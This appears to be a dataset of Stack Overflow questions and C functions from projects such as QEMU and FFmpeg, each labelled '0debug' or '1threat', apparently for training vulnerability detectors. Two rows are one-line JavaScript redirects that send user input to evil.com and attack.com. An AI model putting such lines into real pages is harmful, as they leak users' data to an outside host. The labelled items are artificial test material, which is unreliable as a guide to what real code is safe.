problem
stringlengths
26
131k
labels
class label
2 classes
How Do I make a script if touched a brick then show subtitles : How Do I make a script if touched a brick then show subtitles for like any seconds you want at the downside of your screen
0debug
How to read text from printed paper, OCR or something else ? : I need to read text from printed paper with my Android device, but I cant find other solution than OCR. Is there any way to scan text ? Or OCR is best? It can be text and numbers without barcode. I need this for my school project and I am lost, please help....
0debug
static int init_dimensions(H264Context *h) { int width = h->width - (h->sps.crop_right + h->sps.crop_left); int height = h->height - (h->sps.crop_top + h->sps.crop_bottom); if (FFALIGN(h->avctx->width, 16) == FFALIGN(width, 16) && FFALIGN(h->avctx->height, 16) == FFALIGN(height, 1...
1threat
From a 3270 Mainframe screen call web site passing data from Mainframe automatically : <p>Currently, our associates use a Mainframe application, but have to stop during the process to get information from the web. They begin to process a transaction, but once they get to a specific screen, they need to retrieve data fr...
0debug
c# strginc contains all aplhabetic characters of antoher string : I have two strings like this: string longName = "PRODUCT MANAGER OFFICE"; string shortName = "P.M.O"; I want to validate if longName conains. Short name alphabetic charecters (PMO). The short name may be like this: - `string shortName ...
0debug
error while executing do in background android : <p>I've two things I want to ask about. I'm ready to eat this laptop at this stage. My location permissions seem to be working as I haven't had a crash or a dialogue saying I haven't permission for it, (although I haven't seen the dialogue requesting permissions either.....
0debug
Plot two variables line with R (-2x + y = 0) : <p>With R, how do I plot simple linear equations as lines on a plane? For example, how to plot line of the equation -2x + y = 0?</p> <p>I did searched google but not got an answer.</p> <p>Thanks!</p>
0debug
New to programming: trying to understand how memoization example relates to Python 3 : <p>Like I said, I am new to programming and I like to watch CS Dojo on youtube for my learning material (along with other tutorials). He uses an example of memoization but doesn't seem to work on Python 3. Trying to understand how to...
0debug
compareTo Java - What is this doing? : <p>Could anyone tell me the logic behind this piece of code?</p> <pre><code>public int compareTo(Holder o) { if(o == null) return -1; return this.value.compareTo(o.value); } </code></pre>
0debug
Convert Hash to OpenStruct recursively : <p>Given I have this hash:</p> <pre><code> h = { a: 'a', b: 'b', c: { d: 'd', e: 'e'} } </code></pre> <p>And I convert to OpenStruct:</p> <pre><code>o = OpenStruct.new(h) =&gt; #&lt;OpenStruct a="a", b="b", c={:d=&gt;"d", :e=&gt;"e"}&gt; o.a =&gt; "a" o.b =&gt; "b" o.c ...
0debug
static void CALLBACK host_alarm_handler(UINT uTimerID, UINT uMsg, DWORD_PTR dwUser, DWORD_PTR dw1, DWORD_PTR dw2) #else static void host_alarm_handler(int host_signum) #endif { #if 0 #define DISP_FREQ 1000 { static int...
1threat
document.location = 'http://evil.com?username=' + user_input;
1threat
Laravel 5.5 login and register page says:The page has expired due to inactivity.[TokenMismatchException] : <p>I just created a new project of laravel version 5.5 with the laravel installer.And run the command "<em>php artisan make:auth</em>".The views and controller are generated for the user authentication.And also ru...
0debug
Caused by: android.database.sqlite.SQLiteException: no such column: date (code 1): , while compiling: SELECT id, name, description, date FROM tasks : <p>I dont get it, it keep crashing even though i had check the code is correct. It just keeps telling me there is no such column date. I will post my codes here for DBHel...
0debug
What is the difference betwen these function calls that return pointers? : <p>I'm working in Qt parsing a XML file, using the QTreeWidget for displaying the sections of the XML. I want to maintain pointers to each section "heading".</p> <p>I have these pointers defined:</p> <pre><code>QTreeWidgetItem* groupExport, ...
0debug
static char *doubles2str(double *dp, int count, const char *sep) { int i; char *ap, *ap0; int component_len; if (!sep) sep = ", "; component_len = 15 + strlen(sep); ap = av_malloc(component_len * count); if (!ap) return NULL; ap0 = ap; ap[0] = '\0'; for (i =...
1threat
How to debug with VSCode when making a nyc coverage report? : <p>I am trying to debug when running nyc instead of just while running the mocha tests, so I won't have to run tests twice each time.<br> VSCode runs the coverage and shows it to me, but it will not stop or verify breakpoints, how do I set it to properly deb...
0debug
void apic_sipi(CPUState *env) { APICState *s = env->apic_state; cpu_reset_interrupt(env, CPU_INTERRUPT_SIPI); if (!s->wait_for_sipi) return; env->eip = 0; cpu_x86_load_seg_cache(env, R_CS, s->sipi_vector << 8, s->sipi_vector << 12, 0xffff, 0); en...
1threat
static void sun4c_hw_init(const struct hwdef *hwdef, ram_addr_t RAM_size, const char *boot_device, DisplayState *ds, const char *kernel_filename, const char *kernel_cmdline, const char *initrd_filename, const cha...
1threat
uncorrect syntax using FFmpeg [converting videos] [PHP] :) : Hello guys i am tring to convert videos using FFmpeg... 1. I moved ffmpeg.exe in same folder with upload.php 2. I tryed this codes in **upload.php**: `$randname = (rand(0,1000)); $file_data=date("d-m-Y-H-i-s"); $file_name...
0debug
Validating inputs using fucntion : I really needed help here on how to write an input validation using function i know while loop validation but in this case i really wanted to know how to write a function to validate my inputs so that i can call the function from my inputs to take care of incorrect inputs. in my co...
0debug
static void guest_panicked(void) { QObject *data; data = qobject_from_jsonf("{ 'action': %s }", "pause"); monitor_protocol_event(QEVENT_GUEST_PANICKED, data); qobject_decref(data); vm_stop(RUN_STATE_GUEST_PANICKED); }
1threat
determinate table structure : I want to create db for anime. this is my ER structure: https://ibb.co/ctRk8f6 any tips to improve this I may have multipe links for the same episode on the same/other server
0debug
AlartManager doesn't works properly : I programmatically set fire AlartManager every 10 seconds, This code works on all devices except the one I relay need on this device it calls every 60 seconds question: is there any limitation/configuration settings ? thank you in advance alarmMgr.setInexactRepea...
0debug
Firestore doesn't support JavaScript objects with custom prototypes? : <p>I'm using the node <a href="https://www.npmjs.com/package/@google-cloud/bigquery" rel="noreferrer">Bigquery Package</a>, to run a simple job. Looking at the results (say <code>data</code>) of the job the <code>effective_date</code> attribute loo...
0debug
Math/Rand in GoLang : <p>hello <strong>Golang</strong> devs I am learning golang and I am using the <strong>Math/Rand</strong> package. I am curious why I am getting the same result on:</p> <pre><code>// always returning 81 rand.Intn(100) </code></pre>
0debug
Primeface input text enter key : JSF 2.0,PrimeFaces 5.3 Hello, I have developed a navigation control (using jquery) that when you press the enter key in some component of the form (input text, autocomplete, etc) Focus jump to the next component, so you can browse without use the mouse. One of my component it's a inp...
0debug
void spapr_cpu_parse_features(sPAPRMachineState *spapr) { gchar **inpieces; gchar *newprops; int i, j; gchar *compat_str = NULL; inpieces = g_strsplit(MACHINE(spapr)->cpu_model, ",", 0); i = 1; j = 1; while (inpieces[i]) { if (g_str_has...
1threat
Are regular expressions (0*1*)* and (0 + 1)* same? : <p>I was solving exercise problems in my textbook, and I wondered that whether (0*1*)* and (0 + 1)* are same. I think they are same, but I have no idea how to prove it. Are they same regular expressions?</p>
0debug
How to run sbt multiple command in interactive mode as one command? : <p>I want to refine sbt assembly/package operation by combine two step to one. The two step is:</p> <pre><code>$ sbt &gt; project XXX .... &gt; assembly Ctrl + c to exit </code></pre> <p>Besides, <code>assembly</code> is a task form fat jar sbt plu...
0debug
window.location.href = 'http://attack.com?user=' + user_input;
1threat
static av_always_inline void sbr_hf_apply_noise(int (*Y)[2], const SoftFloat *s_m, const SoftFloat *q_filt, int noise, int p...
1threat
static void scsi_destroy(SCSIDevice *d) { SCSIGenericState *s = DO_UPCAST(SCSIGenericState, qdev, d); SCSIGenericReq *r; while (!QTAILQ_EMPTY(&s->qdev.requests)) { r = DO_UPCAST(SCSIGenericReq, req, QTAILQ_FIRST(&s->qdev.requests)); scsi_remove_request(r); } blockdev_mark_a...
1threat
def bin_coff(n, r): val = 1 if (r > (n - r)): r = (n - r) for i in range(0, r): val *= (n - i) val //= (i + 1) return val def find_ways(M): n = M // 2 a = bin_coff(2 * n, n) b = a // (n + 1) return (b)
0debug
My assembly "quiz Multiply" code is not working at all? : this is my assembly code . it not working at all.. I tried to write it in another way but it gives me other mistakes I use emu8086..... in first page there will be 3 pages (1,2,3) and you have to choose which page. 1- study 2-exam 3-exit 1-study: will lear...
0debug
How to convert content of file in list by characters? : <p>I have a string in the file, for example, 'HELLO', and I need to convert the string in list by characters, 'H', 'E', 'L', 'L', 'O'. How to implement it?</p>
0debug
static AVFrame *alloc_frame(enum AVPixelFormat pixfmt, int w, int h) { AVFrame *frame = av_frame_alloc(); if (!frame) return NULL; frame->format = pixfmt; frame->width = w; frame->height = h; if (av_frame_get_buffer(frame, 32) < 0) return NULL; return frame; ...
1threat
how we Create label in the back ground of dynamic string in swift : [Picture1] [Picture2][1] it is possible to design put label in the back of the dynamic string in swift 2 as pic mentioned in above [1]: http://i.stack.imgur.com/eyrYF.png
0debug
static void nvdimm_class_init(ObjectClass *oc, void *data) { DeviceClass *dc = DEVICE_CLASS(oc); PCDIMMDeviceClass *ddc = PC_DIMM_CLASS(oc); NVDIMMClass *nvc = NVDIMM_CLASS(oc); dc->hotpluggable = false; ddc->realize = nvdimm_realize; ddc->get_memory_region = nvdimm_get_memory_r...
1threat
Mockito - thenCallRealMethod() on void function : <p>Hello I have been ran into a problem when trying to write a JUnit test case and am relatively new to Mockito.</p> <p>I have a function of a class that I am mocking, this function happens to be of a void return type. When calling this function from my mocked class it...
0debug
How to fetch data of NSString from array of structure hold by NSMutableArray in objrctive c? : **strong text**[I have one NSMutableArray *tempArray = \[NSMutableArray array\]; who contain array of structure objects who have multiple data brand_package_id , slide_master_id etc.... further i want to sort out tempArray ac...
0debug
static int raw_open_common(BlockDriverState *bs, QDict *options, int bdrv_flags, int open_flags, Error **errp) { BDRVRawState *s = bs->opaque; QemuOpts *opts; Error *local_err = NULL; const char *filename; int fd, ret; opts = qemu_opts_create_nofail(&raw_runt...
1threat
JSON file doesn't work : <p>with my code, this line is underline in red by IDE...why?</p> <p>THANKS everybody in advance!</p> <pre><code>String path = Environment.getExternalStorageDirectory() .getAbsolutePath() + "/droidText/"; </code></pre> <p>THIS IS MY CODE:</p> <pre><code>public String showResu...
0debug
Matplotlib AttributeError: 'module' object has no attribute 'popall' : <p>When trying to plot a graph with pyplot I am running the following code:</p> <pre><code>from matplotlib import pyplot as plt x = [6, 5, 4] y = [3, 4, 5] plt.plot(x, y) plt.show() </code></pre> <p>This is returning the following error:</p> <p...
0debug
can someone help me how to add 1 fields in other table : create proc addreturnitem as UPDATE item_inventory set Stocks = (Stocks + Quantity) from item_inventory inner join Item_return on item_inventory.Item_id= Item_return.Item_id
0debug
Splitting the column to multiple coulmns : ` SELECT STRFTIME_UTC_USEC(TimeStamp,"%Y-%m-%d %H:%M:%S") AS TimeStamp, Value.provided, __key__.app AS ProjectID, REGEXP_EXTRACT(__key__.path, r'"hostname"[, ]*"(.*?)"') AS hostname, REGEXP_EXTRACT(__key__.path, r'"machine"[, ]*"(.*?)"') AS machine,...
0debug
static void vtd_do_iommu_translate(VTDAddressSpace *vtd_as, PCIBus *bus, uint8_t devfn, hwaddr addr, bool is_write, IOMMUTLBEntry *entry) { IntelIOMMUState *s = vtd_as->iommu_state; VTDContextEntry ce; uint8_t bus_num = pci_bus_num(...
1threat
any cpp standard function to pass a value "1" to all (%s) : i just want to know whether any cpp standard function to pass a value "1" to all (%s).kindly suggest me. sprintf( buffer, "record_id(%s)record_num(%s)record_val (%s"), "1") ); instead of passing like and duplicating "1" sprintf( query_buffer, "record_id(%s)...
0debug
How to install psycopg2 with pg_config error? : <p>I've tried to install psycopg2 (PostgreSQL Database adapater) from <a href="http://initd.org/psycopg/" rel="noreferrer">this site</a>, but when I try to install after I cd into the package and write </p> <pre><code>python setup.py install </code></pre> <p>I get the ...
0debug
static void pred8x8_dc_rv40_c(uint8_t *src, int stride){ int i; int dc0=0; for(i=0;i<4; i++){ dc0+= src[-1+i*stride] + src[i-stride]; dc0+= src[4+i-stride]; dc0+= src[-1+(i+4)*stride]; } dc0= 0x01010101*((dc0 + 8)>>4); for(i=0; i<4; i++){ ((uint32_t*...
1threat
Should I use go modules in production : <p>I am using <code>dep</code>, but I am quite seduced by built-in <a href="https://github.com/golang/go/wiki/Modules" rel="nofollow noreferrer">Go Modules</a> in Go 1.11</p> <p>In the docs, it says: </p> <blockquote> <p>Go 1.11 includes preliminary support for versioned modu...
0debug
Delete string from .php extension : How to delete first <?php> tag of each .php file? I have tried some packages of atom.io like delete-lines but it doesn't work for me because I through this I can delete manually
0debug
static void xbr4x(AVFrame *input, AVFrame *output, const uint32_t *r2y) { const int nl = output->linesize[0]>>2; const int nl1 = nl + nl; const int nl2 = nl1 + nl; uint32_t pprev; uint32_t pprev2; int x, y; for (y = 0; y < input->height; y++) { uint32_t * E = (uint32...
1threat
How to define custom properties in enumeration in Python (Javascript-like) : <p>In JavaScript we can do this:</p> <pre><code>var Color = { YELLOW: { value: 1, displayString: "Yellow" }, GREEN: { value: 2, displayString: "Green" }, } </code></pre> <p>So I can call:</p> <pre><code>Color.YELLOW.displayString </...
0debug
Suggestions about how to find decryption formula with some already known encrypted values : <p>Can you please suggest a strategy to use to decrypt some encrypted values.</p> <p>I have some strings encrypted, let's call them: A,B,C,D and I already know the decrypted values of some of them, let's say, I know :</p> <p>A...
0debug
CraftCMS vs WordPress vs other CMSs : <p>We're considering a new CMS for our huge 10-20,000 page site. We are not currently using any CMS, but have individual html pages with the content embedded(!). </p> <p>Our site is mostly 'regular' content types, with a few discussion boards and some document handling. We also ha...
0debug
Why should one use Dapper ? Also can anyone comment on Dapper Vs ADO.NET Pros and Cons : <p>I would like to understand on when would some one really need to think of using Dapper. Also i would like to understand the Pros and Cons of comparing Dapper Vs ADO.NET</p>
0debug
static int calculate_geometry(int64_t total_sectors, uint16_t* cyls, uint8_t* heads, uint8_t* secs_per_cyl) { uint32_t cyls_times_heads; if (total_sectors > 65535 * 16 * 255) return -EFBIG; if (total_sectors > 65535 * 16 * 63) { *secs_per_cyl = 255; *heads = 16; ...
1threat
static int qemu_rdma_drain_cq(QEMUFile *f, RDMAContext *rdma) { int ret; if (qemu_rdma_write_flush(f, rdma) < 0) { return -EIO; } while (rdma->nb_sent) { ret = qemu_rdma_block_for_wrid(rdma, RDMA_WRID_RDMA_WRITE, NULL); if (ret < 0) { fprintf(stderr, "rdm...
1threat
Spring Boot- Static web resources : I'm new to spring mvc and static web resource and trying to rebuild a project ,but I have problem if someone can explain to me why the JS function not working? About the project (Spring MVC web application using the Spring Boot framework. and use the JSP as view for the web applic...
0debug
Android vector drawable app:srcCompat not showing images : <p>I'm using support library to show vector images on android kitkat. When I test my app on emulater I don't see any of these images. I made a separate layout for android lollipop and above and it workd perfectly (I think because I'm using <code>src</code> attr...
0debug
static av_cold int hevc_sdp_parse_fmtp_config(AVFormatContext *s, AVStream *stream, PayloadContext *hevc_data, char *attr, char *value) { if (!strcmp(attr, "prof...
1threat
replace windows newline character in Go : Trying to replace windows line ending using strings.Replace package main import ( "fmt" "strings" ) var hw string = "hello\r\nworld" func main() { fmt.Println(hw) strings.Replace(hw, "\r\n", " ", -1) fmt.Println(hw)...
0debug
Parameter specified as non-null is null: method kotlin.jvm.internal.Intrinsics.checkParameterIsNotNull, parameter convertView : <p>I got this error just after converted the adapter code to Kotlin:</p> <pre><code>java.lang.IllegalArgumentException: Parameter specified as non-null is null: method kotlin.jvm.internal.Int...
0debug
how to compare two url strings by ignoring domain names : In Java, I want to compare two strings which are basically the urls, so if the endpoints are same and the domain is different it should return true. For example: https://www.example.org/dl/pi/1 should be a valid match with http://1.1.1.1/dl/pi/1
0debug
Add property to all objects in array : <p>I have the following array of objects:</p> <pre><code>var array = [ {'a': '12', 'b':'10'}, {'a': '20', 'b':'22'} ]; </code></pre> <p>How can I add a new property <code>c = b - a</code> to all objects of the array?</p>
0debug
How we can find floating and integer part of a number in MATLAB? : I want to detect float and integer parts of a number like 235.102457. In short want to store two parts of my number like: A=235 B=102457 Is it possible in MATLAB software?
0debug
static int decode_frame(AVCodecContext * avctx, void *data, int *data_size, uint8_t * buf, int buf_size) { MPADecodeContext *s = avctx->priv_data; uint32_t header; uint8_t *buf_ptr; int len, out_size; OUT_INT *out_samples = data; buf_ptr = buf; while (buf_size > 0) { len ...
1threat
static int find_snapshot_by_id_or_name(BlockDriverState *bs, const char *name) { BDRVQcowState *s = bs->opaque; int i, ret; ret = find_snapshot_by_id(bs, name); if (ret >= 0) return ret; for(i = 0; i < s->nb_snapshots; i++) { if (!strcmp(s->snapshots[i].name, name)) ...
1threat
How to call acknowledgment functions in SocketIO? : <p>Following the documentation on the <a href="https://socket.io/docs/" rel="noreferrer">SocketIO website</a>, I have the following code:</p> <p><strong>Server</strong></p> <pre><code>socket.on('foo', (arg, ack) =&gt; { //Do stuff with arg if(ack) ac...
0debug
void bdrv_detach_aio_context(BlockDriverState *bs) { BdrvAioNotifier *baf; if (!bs->drv) { return; } QLIST_FOREACH(baf, &bs->aio_notifiers, list) { baf->detach_aio_context(baf->opaque); } if (bs->io_limits_enabled) { throttle_timers_detach_aio_context(&bs-...
1threat
static void qxl_dirty_surfaces(PCIQXLDevice *qxl) { uintptr_t vram_start; int i; if (qxl->mode != QXL_MODE_NATIVE && qxl->mode != QXL_MODE_COMPAT) { return; } qxl_set_dirty(&qxl->vga.vram, qxl->shadow_rom.draw_area_offset, qxl->shadow_rom.surface0_area_siz...
1threat
static int qcow2_do_open(BlockDriverState *bs, QDict *options, int flags, Error **errp) { BDRVQcow2State *s = bs->opaque; unsigned int len, i; int ret = 0; QCowHeader header; Error *local_err = NULL; uint64_t ext_end; uint64_t l1_vm_state_index; ret =...
1threat
A SecureString is safe as global application variable? : <p>I have a an application with a first screen for the login. The password is entered in a password textbox, which is a secure string.</p> <p>My idea it is store this SecureString in a global application variable because I will need it in some actions, so I woul...
0debug
What is the difference between various MSBuild version properties, such as Version, VersionPrefix, and VersionSuffix? : <p>Building projects with MSBuild 15 and Microsoft.NET.Sdk allows users to specify half a dozen version properties. What is the difference between each of these and what is the right way to use them?<...
0debug
AVPlayer - play network video with separate audio URL without downloading the files first : <p>I'm currently trying to play a video using <code>AVPlayer</code> that has separate sources for video and audio, so I combine them into a single <code>AVPlayerItem</code> as below:</p> <pre><code>let videoAsset = AVURLAsset(u...
0debug
Php auto responder mail reverts fill all fields when i have filled them. Please help i cant seem to get where its is originating. : <div class="col-md-6"> <div class="contact-form-result"></div> <!--START form--> ...
0debug
how to pass <std::function<void(int)>> paramater in c++ : <p>i'm trying to perform a thread pool design pattern in c++, but i'm stuck on passing a task function parameter in order to push it inside a list here is my code </p> <pre><code> std::list&lt;std::function&lt;void(int)&gt;&gt; work_queue; </code></pre> <p...
0debug
c# error as The ConnectionString property has not been initialized : why i'm getting connection state has not been intialized when i'm Using `one methode in other` DbContext db = new DbContext(); public Employee FindEmpById(int key) { SqlConnection conn = db.DbConnection; ...
0debug
Why base class = new derived class cannot call derived class method? C# : I have some question which get me confused, I hope finally I can found answer here :) So. we have two classes A and B, B Derives from A, I created of A a = new B(); Why in my code when I call method of B that does not contain A I get error....
0debug
Vue Cli 3 Generated Project Set HTML Title : <p>Currently, after generating a project with Vue CLI 3 the title is "Vue App". </p> <p>If I set the title in the created hook via <strong>document.title</strong> the browser will still will flash "Vue App" prior to displaying the title set via document.title.</p> <p>Looki...
0debug
Circe instances for encoding/decoding sealed trait instances of arity 0? : <p>I'm using sealed traits as enums for exhaustive pattern matching. In cases where I have case objects instead of case classes extending my trait, I'd like to encode and decode (via <a href="http://circe.io">Circe</a>) as just a plain string. ...
0debug
static inline void RENAME(rgb15to24)(const uint8_t *src, uint8_t *dst, long src_size) { const uint16_t *end; #ifdef HAVE_MMX const uint16_t *mm_end; #endif uint8_t *d = (uint8_t *)dst; const uint16_t *s = (uint16_t *)src; end = s + src_size/2; #ifdef HAVE_MMX __asm __volatile(PREFETCH" %0"::"m"(*s):"mem...
1threat
static void get_pixels_altivec(int16_t *restrict block, const uint8_t *pixels, ptrdiff_t line_size) { int i; vec_u8 perm = vec_lvsl(0, pixels); const vec_u8 zero = (const vec_u8)vec_splat_u8(0); for (i = 0; i < 8; i++) { vec_u8 pixl = vec_ld(...
1threat
What do the lines in Seaborn.Regplot represent : <p>I was curious as to what the highlighted lines represent in seaborn.regplot. I haven't been able to find the answer in the documentation.</p> <p>Thanks</p> <p><a href="https://i.stack.imgur.com/4cxn2.png" rel="noreferrer"><img src="https://i.stack.imgur.com/4cxn2.pn...
0debug
static int xwd_decode_frame(AVCodecContext *avctx, void *data, int *got_frame, AVPacket *avpkt) { AVFrame *p = data; const uint8_t *buf = avpkt->data; int i, ret, buf_size = avpkt->size; uint32_t version, header_size, vclass, ncolors; uint32_t xoffset, be, bpp, lsi...
1threat
Genric return type : Explain the return type of this method protected > <T> T protected <T> T getClientHolder(String holderName, Class<T> clazz) I know T refer to template and refer to the class which he get in its parameter but the position of<T> before T is confusing
0debug
static int apic_init_common(SysBusDevice *dev) { APICCommonState *s = APIC_COMMON(dev); APICCommonClass *info; static DeviceState *vapic; static int apic_no; if (apic_no >= MAX_APICS) { return -1; } s->idx = apic_no++; info = APIC_COMMON_GET_CLASS(s); info->ini...
1threat
void select_soundhw(const char *optarg) { struct soundhw *c; if (*optarg == '?') { show_valid_cards: printf("Valid sound card names (comma separated):\n"); for (c = soundhw; c->name; ++c) { printf ("%-11s %s\n", c->name, c->descr); } printf("\n-soundh...
1threat
def is_Diff(n): return (n % 11 == 0)
0debug
I defined a function(using python) and when I use it, it returns me "unindent does not match any outer indentation level" : [part of my code][1] given a path and use it, I met this [the result][2] [1]: https://i.stack.imgur.com/rRSZV.png [2]: https://i.stack.imgur.com/HyaNW.png when I runs the same...
0debug
int av_seek_frame_binary(AVFormatContext *s, int stream_index, int64_t target_ts, int flags){ AVInputFormat *avif= s->iformat; int64_t av_uninit(pos_min), av_uninit(pos_max), pos, pos_limit; int64_t ts_min, ts_max, ts; int index; AVStream *st; if (stream_index < 0) return -1; ...
1threat
Does !fork() create a process? : <p>For instance if I call</p> <pre><code>if (!fork()) </code></pre> <p>does this create a new process like calling</p> <pre><code>if (fork()) </code></pre> <p>or does it not?</p>
0debug
static int socket_close(void *opaque) { QEMUFileSocket *s = opaque; closesocket(s->fd); g_free(s); return 0; }
1threat
How set Identity(1,1) on created table : <p>I am new SQL world I want to neither rebuild the whole table nor add a new column.</p>
0debug
How to use maintain string saved in SharedPreferences : I am trying to create a simple to-do list style app. I have defined the SharedPrferences and saved the user entered string from a TextField in my main activity. How do you make sure that the string stays attached to the textfield(aka does not disappear) when close...
0debug
static int get_uint64_equal(QEMUFile *f, void *pv, size_t size, VMStateField *field) { uint64_t *v = pv; uint64_t v2; qemu_get_be64s(f, &v2); if (*v == v2) { return 0; error_report("%" PRIx64 " != %" PRIx64, *v, v2); return -EINVAL;
1threat
Printing floating point using integer type specifier : <p>I have the below C code.</p> <pre><code>int main (void) { printf("%d\n",5/(float)4.7); printf("Size of int = %d",sizeof(int)); return(1); } </code></pre> <p>But the result is 1610612736 I was expecting the result to be 1 since we are tying to print...
0debug
How to remove old files from the build dir when webpack --watch? : <p>When my <code>webpack.config.js</code> is set to watch my source files, and the output files contain a hash, then each time the build successfully completes an entirely new set of built files exists. This quickly fills up the build dir with cruft!</p...
0debug
what is difference between < length() and <=length()-1? : <pre><code>'String s=" ";'//java developer for(int i=0;i&lt;=arg0.length()-1;i++)//it's subtracts </code></pre> <p>i.e length()=10-1=9.?? otherwise it's index starts from 0? Hope u guys </p>
0debug